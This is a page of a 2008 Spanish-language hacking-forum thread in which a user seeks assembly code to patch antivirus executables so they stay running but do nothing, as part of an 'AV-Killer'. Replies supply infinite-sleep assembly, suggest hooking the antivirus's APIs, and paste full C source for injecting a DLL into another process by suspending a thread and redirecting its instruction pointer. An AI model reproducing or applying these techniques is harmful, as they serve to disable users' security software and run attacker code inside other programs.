elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
08 Septiembre 2008, 04:03  



+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General (Moderadores: Hendriҳ, E0N)
| | |-+  El programa mas pequeño que no haga nada (en ASM)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 Ir Abajo Imprimir
Autor Tema: El programa mas pequeño que no haga nada (en ASM)  (Leído 960 veces)
nhaalclkiemr

Desconectado Desconectado

Mensajes: 1.644


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #15 en: 02 Febrero 2008, 15:59 »

mmm...es k una vez prové a hacer un salto a una linea atars y en esa linea tenia un nop (90) y juraría que me consumía el 100%...

pero weno gracias  ;)

Sobre el archivo en verdad no es el archivo lo que quiero...puede que me expresara mal al principio...yo lo que quiero son las instrucciones...es para una parte de un AV-Killer...en vez de borrar los archivos lo que hago es mirar su EntryPoint y aí pongo un C3 para que se salga y no se ejecute :xD...pero pienso que quizás sea mejor que el programa permanezca en ejecucion pero que no haga nada :laugh:

Saludos ;)
En línea

StasFodidoCrypter 1.0 - 100%
StasFodidoCrypter 2.0- 85%
Fire AV/FW-Killer - 97%

CUIDADO!!!!

Eternal Idol N&P

Desconectado Desconectado

Mensajes: 1.284


Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #16 en: 02 Febrero 2008, 16:04 »

Si, nhaalclkiemr, ocupa la CPU tal como decis.

Código:
.386
.model flat, stdcall
includelib kernel32.lib

Sleep PROTO STDCALL: DWORD

.code
main:
invoke Sleep, 100
jmp main
end main
En línea

be closely tied to
(v.) = estar estrechamente ligado a
Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.

"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este"
Juan Domingo Peron
nhaalclkiemr

Desconectado Desconectado

Mensajes: 1.644


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #17 en: 02 Febrero 2008, 16:17 »

estuve provando con el olly...puse un jmp a si mismo y si que consume el 100% de CPU...el ordenador va igual de rapido (es como si la aplicacion estuviera en segundo plano) pero en el taskmgr.exe aparece el 100% de CPU...

Sobre lo que pones tu Eternal Idol si no me ekivoco andas llamando a APIs...eso no me sirve para lo que quiero ya que tendría que modificar la IAT del archivo y weno es bastante complicado...

No hay ninguna manera de hacerlo sin bucles?? o con un bucle que no consuma el 100%?

Saludos ;)
En línea

StasFodidoCrypter 1.0 - 100%
StasFodidoCrypter 2.0- 85%
Fire AV/FW-Killer - 97%

CUIDADO!!!!

Eternal Idol N&P

Desconectado Desconectado

Mensajes: 1.284


Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #18 en: 02 Febrero 2008, 16:25 »

Sobre lo que pones tu Eternal Idol si no me ekivoco andas llamando a APIs...eso no me sirve para lo que quiero ya que tendría que modificar la IAT del archivo y weno es bastante complicado...

No necesariamente, no se si lo queres hacer en tiempo de ejecucion o sobre el archivo en disco. En ambos casos lo podes hacer asi pero en el segundo seria hardcoded:

Código:
push 100
mov eax, addrSleep
call eax

No hay ninguna manera de hacerlo sin bucles?? o con un bucle que no consuma el 100%?

Si, tal como te lo dije.
« Última modificación: 02 Febrero 2008, 16:27 por Eternal Idol » En línea

be closely tied to
(v.) = estar estrechamente ligado a
Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.

"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este"
Juan Domingo Peron
nhaalclkiemr

Desconectado Desconectado

Mensajes: 1.644


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #19 en: 02 Febrero 2008, 16:31 »

Perdon no te entendí bien...se muy poco de ASM...

A ver lo que yo quiero es hacerlo en disco...como quien dice estropear un programa...cojo su EntryPoint (la primera linea que se ejecuta) y antes alli metia un C3 y entonces la aplicacion ya se salía...ahora lo que quiero es meter algun opcode aí (no tiene pork ser un byte...pueden ser las instrucciones k kiera) para que al ejecutarse el programa estropeado no se cierre...que permanezca ejecutandose pero sin hacer nada y logicamente consumiendo el 0% de CPU...

Sobre este ultimo code que pusiste no lo entiendo muy bien (ya te dije que soy novat en esto...el addrSleep se supone que es la direccion de la API Sleep no? pero al utilizar Sleep estoy usando una API!...y eso hace que cuando quiera modificar un ejecutable en disco tenga que modificar la IAT...

Seguramente esté equivocado y/o confundido a ver si me puedes aclararmelo un pokito mejor...

Gracias ;)
En línea

StasFodidoCrypter 1.0 - 100%
StasFodidoCrypter 2.0- 85%
Fire AV/FW-Killer - 97%

CUIDADO!!!!

Eternal Idol N&P

Desconectado Desconectado

Mensajes: 1.284


Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #20 en: 02 Febrero 2008, 16:35 »

Sobre este ultimo code que pusiste no lo entiendo muy bien (ya te dije que soy novat en esto...el addrSleep se supone que es la direccion de la API Sleep no? pero al utilizar Sleep estoy usando una API!...y eso hace que cuando quiera modificar un ejecutable en disco tenga que modificar la IAT...

Eso no tiene ninguna razon de ser, Kernel32.dll (la libreria donde esta la funcion Sleep) esta cargada en todo proceso de modo Usuario normal (consola/windows) y por lo tanto si sabes su direccion podes llamarla, con o sin IAT. Incluso es un procedimiento normal para usar enlazado dinamico, mientras tengas enlazadas estaticamente (mediante IAT) GetModuleHandle y GetProcAddress podes llamar a estas para conseguir la direccion de la DLL y de la funcion. En este caso la meterias a mano (hardcoded) pero si tenes ya estas funciones podrias hacerlo mejor ... aunque si vas a modificar el archivo genera el ejecutable con el codigo que deje y reemplazalo, no hay diferencia, cualquier comprobacion que tengan ya detectaria tus cambios.
En línea

be closely tied to
(v.) = estar estrechamente ligado a
Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.

"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este"
Juan Domingo Peron
Ferсhu

Desconectado Desconectado

Mensajes: 1.225

Menos palabras y Mas codigos.


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #21 en: 02 Febrero 2008, 16:39 »

stop jejeje.

Citar
A ver lo que yo quiero es hacerlo en disco...como quien dice estropear un programa...cojo su EntryPoint (la primera linea que se ejecuta) y antes alli metia un C3 y entonces la aplicacion ya se salía...ahora lo que quiero es meter algun opcode aí (no tiene pork ser un byte...pueden ser las instrucciones k kiera)

Tendrias q escribir el byte en el momento q el programa se carga en memoria y antes q empieze a pasar por ahi jajaj osea es como kerer tocar a superman apenas empieza a correr y antes q se escape jaja.

Ademas casi siempre los prog ya se encuentra iniciados asi q no van a volver a pasar x su entry point, solo si son reiniciados en ese caso se vuelve a volcar la memoria el codigo nuevo y estas en las mismas. lo veo casi imposible jeje.

Citar
No hay ninguna manera de hacerlo sin bucles??

creo q usando alguna interrupcion esperando algo q nunca va a pasar en ese contexto jejej.
En línea

Eternal Idol N&P

Desconectado Desconectado

Mensajes: 1.284


Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #22 en: 02 Febrero 2008, 16:44 »

Tendrias q escribir el byte en el momento q el programa se carga en memoria y antes q empieze a pasar por ahi jajaj osea es como kerer tocar a superman apenas empieza a correr y antes q se escape jaja.

Una vez que se carga en memoria ya no podes escribir.

Ademas casi siempre los prog ya se encuentra iniciados asi q no van a volver a pasar x su entry point, solo si son reiniciados en ese caso se vuelve a volcar la memoria el codigo nuevo y estas en las mismas. lo veo casi imposible jeje.

La historia es matarlo, escribirlo y reiniciarlo ... no muy util igual.


creo q usando alguna interrupcion esperando algo q nunca va a pasar en ese contexto jejej.

Hay poquisimas interrupciones disponibles en Windows y ninguna 100% compatible entre diferentes versiones (para eso esta la API). Ninguna de estas interrupciones - excepto la que usan las API para pasar a modo Kernel - podria servirte para nada y estas servirian como mucho de version en version o en el peor de los casos de service pack en service pack.

Tomando de esta idea, sin bucles:
Código:
.386
.model flat, stdcall
includelib kernel32.lib

Sleep PROTO STDCALL: DWORD

.code
main:
invoke Sleep, 0FFFFFFFFh ;INFINITE
end main
« Última modificación: 02 Febrero 2008, 16:50 por Eternal Idol » En línea

be closely tied to
(v.) = estar estrechamente ligado a
Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.

"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este"
Juan Domingo Peron
nhaalclkiemr

Desconectado Desconectado

Mensajes: 1.644


Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #23 en: 02 Febrero 2008, 16:56 »

mmm...lo malo es que se me crea una nueva sección llamada .rdata...

y weno si copio las instrucciones de la otra sección no me funciona...

A ver no me sirve lo que dices tu de copiar literalmente le programa por encima del otro pork el programa original perderá el icono...

Weno a ver si descubro alguna manera sino utilizo en C3 y via...

Gracias y saludos ;)
En línea

StasFodidoCrypter 1.0 - 100%
StasFodidoCrypter 2.0- 85%
Fire AV/FW-Killer - 97%

CUIDADO!!!!

Ferсhu

Desconectado Desconectado

Mensajes: 1.225

Menos palabras y Mas codigos.


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #24 en: 02 Febrero 2008, 17:00 »

aver algo parecido a eso q dije pero en forma de apis.

nose como explicarlo pero imaginen una aplicacion de consola.

No estoy seguro de lo q voy a decir jaja

seria algo como lo sigiuente:

hand=GetStdHandle(STD_INPUT_HANDLE);

SetStdHandle(STD_OUTPUT_HANDLE   ,hand)

q pasaria si anulo la entrada de datos al prog desde el tec

Este no puede recibir nada del teclado, y si el programa llega a pedir datos del êl, x ej letras, se kedaria clavado.

No estoy seguro de si eso se puede hacer, q alguien me corrija, pero es algo asi a lo q me refiero transladando a asm de otra forma no con es exactamente.

Todo esto en base a no hacerlo con bucles jaja.
En línea

E0N
Lab &
Moderador
*****
Desconectado Desconectado

Mensajes: 2.618



Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #25 en: 02 Febrero 2008, 17:02 »

Citar
Si, nhaalclkiemr, ocupa la CPU tal como decis.

Pues a mi no me llega ni al 20% del total ya con todos los programas normales corriendo y tal... tb puede ser por q tengo cuatro nucleos a 2.4ghz cada uno y por eso el pc ni se entera...   :huh:

Citar
Sobre el archivo en verdad no es el archivo lo que quiero...puede que me expresara mal al principio...yo lo que quiero son las instrucciones...es para una parte de un AV-Killer...en vez de borrar los archivos lo que hago es mirar su EntryPoint y aí pongo un C3 para que se salga y no se ejecute ...pero pienso que quizás sea mejor que el programa permanezca en ejecucion pero que no haga nada

Osea, q lo q kieres cambiar es el ejecutable del av. Weno, pues entonces hay otros metodos, como por ejemplo detener el hilo del programa y hacer una redireccion a otro hilo q hagga lo q tu kieras... es algo complicado (y mas de explicar..). La idea la saké de un metodo de inyeccion inventado por MazarD, aki tienes la explicacion q le da al metodo:

Citar
4.5.-Redirección de Threads

Ventajas? Igual que la anterior no es detectado por ningún firewall, hacemos que el
programa ejecute código propio muy limpiamente y si al inyectar no probocamos el
crasheo podemos estar seguros de que no se desestabilizará nunca. Desde mi punto de
vista es el mejor método sin lugar a dudas.
La idea de este método es inyectarle codigo (el código será nuestro querido
LoadLibrary), detener la ejecución, cambiar el registro eip para que se ejecute nuestro
código, relanzar la ejecución y automágicamente el código inyectado devolverá la
ejecución al punto dónde estaba.
Dado que estamos interrumpiendo la ejecución en un punto aleatório del programa
después de ejecutar el código debemos dejar absolutamente todo tal y como estaba. Así
debemos guardar y restaurar a parte de los registros los flags, ya que por ejemplo si
interrumpieramos la ejecución en un cmp algo,algo y a continuación tenemos un salto
podemos estar alterando el resultado de la comparación. Es lo mismo que si
estubieramos programando una rutina de servicio de interrupción.
Para devolver la ejecución al punto anterior en principio podría hacerse con un jmp pero
esto nos dá el problema de que no sabemos si el salto debe ser positivo o negativo así
que lo que se hace en el código es el truquito de pushear la dirección a la que queremos
saltar y al finalizar hacer un ret que nos devolverá al código.

El codigo para q entiendas mejor:
Código:
#include <windows.h>
#include <stdio.h>
BYTE* CrearCodigo(DWORD Eip,DWORD Ruta,DWORD dLoadLibrary)
{
BYTE *codeBuff;
codeBuff=(BYTE*)malloc(22);
//push eipvella
*codeBuff=0x68;
codeBuff++;
*((DWORD*)codeBuff)=Eip;
codeBuff+=4;
*codeBuff=0x9C; //pushfd
codeBuff++;
*codeBuff=0x60; //pushad
codeBuff++;
//push path
*codeBuff=0x68;
codeBuff++;
*((DWORD*)codeBuff)=Ruta;
codeBuff+=4;
//mov eax,nLoadLib
*codeBuff=0xB8;
codeBuff++;
*((DWORD*)codeBuff)=dLoadLibrary;
codeBuff+=4;
*((WORD*)codeBuff)=0xD0FF; //call eax
codeBuff+=2;
*codeBuff=0x61; //popad
codeBuff++;
*codeBuff=0x9D; //popfd
codeBuff++;
*codeBuff=0xC3; //ret
codeBuff-=21;
return codeBuff;
}i
nt main()
{
typedef HANDLE (__stdcall *openthread) (DWORD,BOOL,DWORD);
openthread AbrirHilo;
HANDLE proces,fil;
char nomDll[]="c:\\ladll.dll";
void *medkitsite,*path;
DWORD pID,tID;
BYTE *medicina;
CONTEXT context;
DWORD eipvella;
DWORD nLoadLib;
printf("Inyección Dll por MazarD\n Método Thread
Redirection\nhttp://www.mazard.info\n");
printf("Identificador del proceso (PID):");
scanf("%d",&pID);
printf("Identificador del hilo (TID):");
scanf("%d",&tID);
printf("Inyectando en el hilo %.2x del proceso %.2x\n",tID,pID);
//Abrimos el proceso
proces=OpenProcess(PROCESS_ALL_ACCESS,false,pID);
//Abrimos el hilo (Está así porque el api OpenThread no aparece en mi
windows.h)
AbrirHilo=(openthread)GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenThread");
fil=AbrirHilo(THREAD_ALL_ACCESS,false,tID);
//Reservamos memória en el proceso y escribimos la ruta a la dll
path=VirtualAllocEx(proces,NULL,strlen(nomDll)+1,MEM_COMMIT |
MEM_RESERVE,PAGE_READWRITE);
(WriteProcessMemory(proces,path,nomDll,strlen(nomDll),NULL)
//Cogemos la dirección a LoadLibrary
nLoadLib=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
//Suspendemos el hilo y cogemos el puntero de instrucciones (punto de
ejecución actual)
SuspendThread(fil);
context.ContextFlags=CONTEXT_CONTROL;
GetThreadContext(fil,&context);
eipvella=context.Eip;
printf("Eip al retornar:%.2x\n",eipvella);
//Creamos el código a partir de eip, la ruta a la dll y la dirección de
loadlibrary
medicina=CrearCodigo((DWORD)eipvella,(DWORD)path,nLoadLib);
printf("CodigoCreado:%.2x\n\n",medicina);
//Reservamos memoria y escribimos nuestro código en el
medkitsite=VirtualAllocEx(proces,NULL,22,MEM_COMMIT |
MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(proces,medkitsite,medicina,22,NULL)
printf("Nuevo Eip:%.2x\n",(DWORD)medkitsite);
//modificamos el puntero de instrucciones para que apunte a nuestro código
inyectado
context.Eip = (DWORD)medkitsite;
context.ContextFlags = CONTEXT_CONTROL;
SetThreadContext(fil,&context);
//Le decimos al hilo que puede volver a ejecutarse (lanzará nuestro codigo)
ResumeThread(fil);
printf("Inyección completada!!\n");
CloseHandle(proces);
CloseHandle(fil);
return 0;
}

Tu code seria mas simple aun, ya q te puedes ahorrar el ret final y la parte de dejar los registros igual q al principio, y a qnunca retornará, miratelo por  q te puede ser util ;)

Salu2
En línea
Eternal Idol N&P

Desconectado Desconectado

Mensajes: 1.284


Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #26 en: 02 Febrero 2008, 17:04 »

mmm...lo malo es que se me crea una nueva sección llamada .rdata...

Si usas la direccion hardcodeada te funciona y no necesita ninguna sección nueva ...

A ver no me sirve lo que dices tu de copiar literalmente le programa por encima del otro pork el programa original perderá el icono...

Por ahora no me sirve es igual a no se hacerlo. Podes extraer ese icono y ponerlo en tu ejecutable perfectamente ...

<~>FeRcHu<~> se entiende aunque es demasiada complejidad innecesaria ya que con un Sleep alcanza y sobra, tambien se puede hacer de forma mas limpia creando un evento y esperando que alguien lo señale (obviamente nadie lo hara).
En línea

be closely tied to
(v.) = estar estrechamente ligado a
Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.

"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este"
Juan Domingo Peron
®®
Colaborador

Desconectado Desconectado

Mensajes: 5.178


Ver Perfil
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #27 en: 02 Febrero 2008, 17:06 »

para usar direcciones no hardcodeadas, puedes usar algo asi:

Código:
      call hola
hola:
      pop ebp
      sub ebp,hola
      mov eax,[addrSleep+ebp]
      push parametros
      call eax
     ....
     ....
addrSleep dd 0

logicamente antes de escribir la rutina debes obtener la direccion de sleep y guardarla en addrsleep.
En línea
E0N
Lab &
Moderador
*****
Desconectado Desconectado

Mensajes: 2.618



Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #28 en: 02 Febrero 2008, 17:08 »

A, otra idea q se me a ocurrido, puedes hookear un api q use el av en concreto y q llame frecuentemente. Entonces, hookeas el api y cuando llame al api haces q se ejecute una funcion tuya q no haga nada, vamos q entre el un bucle con sleeps o algo asi.
Es mas simple q el metodo anterior, por lo menos a mi parecer
Salu2  >:D
En línea
Eternal Idol N&P

Desconectado Desconectado

Mensajes: 1.284


Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)


Ver Perfil WWW
Re: El programa mas pequeño que no haga nada (en ASM)
« Respuesta #29 en: 02 Febrero 2008, 17:09 »

Pues a mi no me llega ni al 20% del total ya con todos los programas normales corriendo y tal... tb puede ser por q tengo cuatro nucleos a 2.4ghz cada uno y por eso el pc ni se entera...   :huh:

A mi me llega a un 50% pero para un programa que no hace NADA ...

Osea, q lo q kieres cambiar es el ejecutable del av. Weno, pues entonces hay otros metodos, como por ejemplo detener el hilo del programa y hacer una redireccion a otro hilo q hagga lo q tu kieras... es algo complicado (y mas de explicar..). La idea la saké de un metodo de inyeccion inventado por MazarD, aki tienes la explicacion q le da al metodo:

Con SuspendThread sobre cada hilo alcanza y sobra (todos esos metodos son universales y ampliamente conocidos). Aunque no es lo que quiere hacer ...
En línea

be closely tied to
(v.) = estar estrechamente ligado a
Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.

"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este"
Juan Domingo Peron
Páginas: 1 [2] 3 Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC